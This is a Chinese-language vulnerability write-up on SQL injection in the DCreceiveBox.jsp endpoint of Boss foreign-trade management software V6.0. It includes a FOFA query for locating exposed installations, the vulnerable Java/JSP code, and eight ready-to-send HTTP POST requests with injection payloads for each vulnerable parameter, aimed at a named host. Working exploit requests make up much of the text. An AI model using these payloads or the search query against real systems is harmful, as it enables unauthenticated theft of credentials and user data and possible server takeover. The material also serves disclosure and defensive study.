漏洞简介

博斯外贸管理软件是杭州博斯有限公司推出的一款针对外贸业务的管理软件。博斯外贸管理软件V6.0 DCreceiveBox.jsp 接口多个参数均存在SQL注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本

博斯外贸管理软件V6.0

fofa语法

title="欢迎使用 博斯软件"

漏洞分析

直接看 /crm/module/DCreceiveBox.jsp 的代码实现部分

try{
    interfaceBean.SearchBean sb=new interfaceBean.SearchBean(request,out);
    sb.setFormHidden();
    interfaceBean.DropOptions op=new interfaceBean.DropOptions();
    String SAVE=common.API.convertToMemory(request.getParameter("SAVE"));
    if(!"".equals(SAVE)){
       String NOWKEY=common.API.convertToMemory(request.getParameter("NOWKEY"));
       if(!NOWKEY.equals("")){
          db.execute("update crm_email_mail set c_ex13='"+SAVE+"' where commonid='"+NOWKEY+"'");
          //MESSAGE=" 优先级设置成功！";
       }
    }

如果SAVE、SAVE不等于空时，SAVE、NOWKEY 拼接进SQL语句，造成SQL注入。

<%
    String SuserName=(String)session.getAttribute("userName");
    String SuserId=(String)session.getAttribute("userId");
    String nowUserId=common.API.convertToMemory(request.getParameter("nowUserId"));
    if(!"".equals(nowUserId))SuserId=nowUserId;
    String SHUXING=common.API.convertToMemory(request.getParameter("SHUXING"));
%>

if(!USERKF.equals("")){
.....
}else{
    op.add("","全部");
    ResultSet rsmail=db.executeQuery("select * from crm_usermail where c_id = 'system' or c_id = '"+SuserId+"' order by c_id");

如果 USERKF 等于空，则进入else 执行SQL语句，SuserId ==> nowUserId 拼接进SQL语句，造成SQL注入。

if("YJZY".equals(setCustom)){
    //System.out.println("aaaaaaaaaaaaaaaa");
    String authes=request.getParameter("authes");
    String strfxlx=request.getParameter("fxlx");
    //System.out.println(strfxlx+"aaaaa"+authes);
    String strsql1="";
    if(authes.indexOf("$")!=-1){
       StringTokenizer sz=new StringTokenizer(authes,"$");//得到该邮件的ID号
       while(sz.hasMoreTokens()){
          if("".equals(strsql1))strsql1="commonid ="+sz.nextToken();
          strsql1+=" or commonid ="+sz.nextToken();
       }
    }else{
       strsql1="commonid ="+authes;
    }
       System.out.println("update crm_email_Mail set c_ex1='"+strfxlx+"' where "+strsql1);
       db.execute("update crm_email_Mail set c_ex1='"+strfxlx+"' where "+strsql1);
    MESSAGE="邮件移动成功！";
}

当 setCustom=YJZY 是，authes不包含 $ ,authes、fxlx 拼接进SQL语句造成SQL注入。

String setAUTOGJ=request.getParameter("setAUTOGJ");
if("Y".equals(setAUTOGJ)){
    String NOWGJ=common.API.convertToMemory(request.getParameter("NOWGJ"));

    db.execute("update bas_customdtl set c_ex5='Y' where c_ex5='N' and c_ex7="+NOWGJ);
    db.execute("update crm_email_Mail set c_ex12='Y' where c_ex12='N' and commonid="+NOWGJ);

    //out.println("update bas_customdtl set c_ex5='Y' where c_ex5='N' and c_ex7="+NOWGJ);
    MESSAGE="老客户邮件设置自动跟进成功！";
}

当 setAUTOGJ=Y时，NOWGJ 直接拼接进SQL语句造成SQL注入。

String List=common.API.convertToMemory(request.getParameter("list"));
sql+=" from crm_email_emailUser,crm_email_Mail where crm_email_Mail.commonid=crm_email_emailUser.mailId and (crm_email_emailUser.mailType=3 or crm_email_emailUser.mailType=4) and crm_email_emailUser.isdeleted=0 and crm_email_emailUser.userId="+SuserId+" and crm_email_Mail.c_ex1='"+List+"'";

list 直接拼接进SQL语句造成SQL注入。

if(!USERKF.equals("")){//从开发过来的场合
                        String strWhere=" and (bas_custom.c_ex1='"+SuserId+"' or bas_custom.c_ex2='"+SuserId+"' or bas_custom.c_ex2 like '%;"+SuserId+";%' or bas_custom.c_ex2 like '"+SuserId+";%') and (bas_custom.c_ex1='"+USERKF+"') ";

如果 USERKF 不为空，则直接拼接进SQL语句，造成SQL注入。

if(!USERKF.equals("")){//从开发过来的场合
    if(common.API.convertToMemory(request.getParameter("sortkey")).equals("")==false){
       sql1+=" order by "+common.API.convertToMemory(request.getParameter("sortkey"))+" "+common.API.convertToMemory(request.getParameter("sortmethod"));
    }else{
       sql1+=" order by c_date desc";
    }
}else{
    if(common.API.convertToMemory(request.getParameter("sortkey")).equals("")==false){
       sql1+=" order by crm_email_Mail."+common.API.convertToMemory(request.getParameter("sortkey"))+" "+common.API.convertToMemory(request.getParameter("sortmethod"));
       if(common.API.convertToMemory(request.getParameter("sortkey")).indexOf("SendDate")==-1){
          sql1+=" ,crm_email_Mail.SendDate desc";
       }
    }else{
       sql1+=" order by crm_email_Mail.SendDate desc,crm_email_Mail.commonId desc";
    }
}

不管 USERKF 是否为空，sortkey 均直接拼接进order by 语句SQL语句造成SQL注入漏洞（需要注意 order by 语句后的列名必须是存在的才可注入）。

漏洞复现

NOWKEY

POST /crm/module/DCreceiveBox.jsp HTTP/1.1
Host: 51boss.mrxn.net
Content-Type: application/x-www-form-urlencoded

SAVE=1&setCustom=YJZY&NOWKEY='and+1=@@version--

也是通过报错注入，成功爆出数据库版本信息。

SAVE

POST /crm/module/DCreceiveBox.jsp HTTP/1.1
Host: 51boss.mrxn.net
Content-Type: application/x-www-form-urlencoded

SAVE=1'and+1=@@version--&setCustom=YJZY&NOWKEY=1

nowUserId

POST /crm/module/DCreceiveBox.jsp HTTP/1.1
Host: 51boss.mrxn.net
Content-Type: application/x-www-form-urlencoded

nowUserId=1'and+1=@@version--

YJZY

POST /crm/module/DCreceiveBox.jsp HTTP/1.1
Host: 51boss.mrxn.net
Content-Type: application/x-www-form-urlencoded

fxlx=1&setCustom=YJZY&authes=1+and+1=@@version--

setAUTOGJ

POST /crm/module/DCreceiveBox.jsp HTTP/1.1
Host: 51boss.mrxn.net
Content-Type: application/x-www-form-urlencoded

setAUTOGJ=Y&NOWGJ=1+and+1=@@version--

list

POST /crm/module/DCreceiveBox.jsp HTTP/1.1
Host: 51boss.mrxn.net
Content-Type: application/x-www-form-urlencoded

list=1'and+1=@@version--

USERKF

POST /crm/module/DCreceiveBox.jsp HTTP/1.1
Host: 51boss.mrxn.net
Content-Type: application/x-www-form-urlencoded

USERKF=1')and+1=@@version--

sortkey

POST /crm/module/DCreceiveBox.jsp HTTP/1.1
Host: 51boss.mrxn.net
Content-Type: application/x-www-form-urlencoded

sortkey=SendDate+and+1=@@version--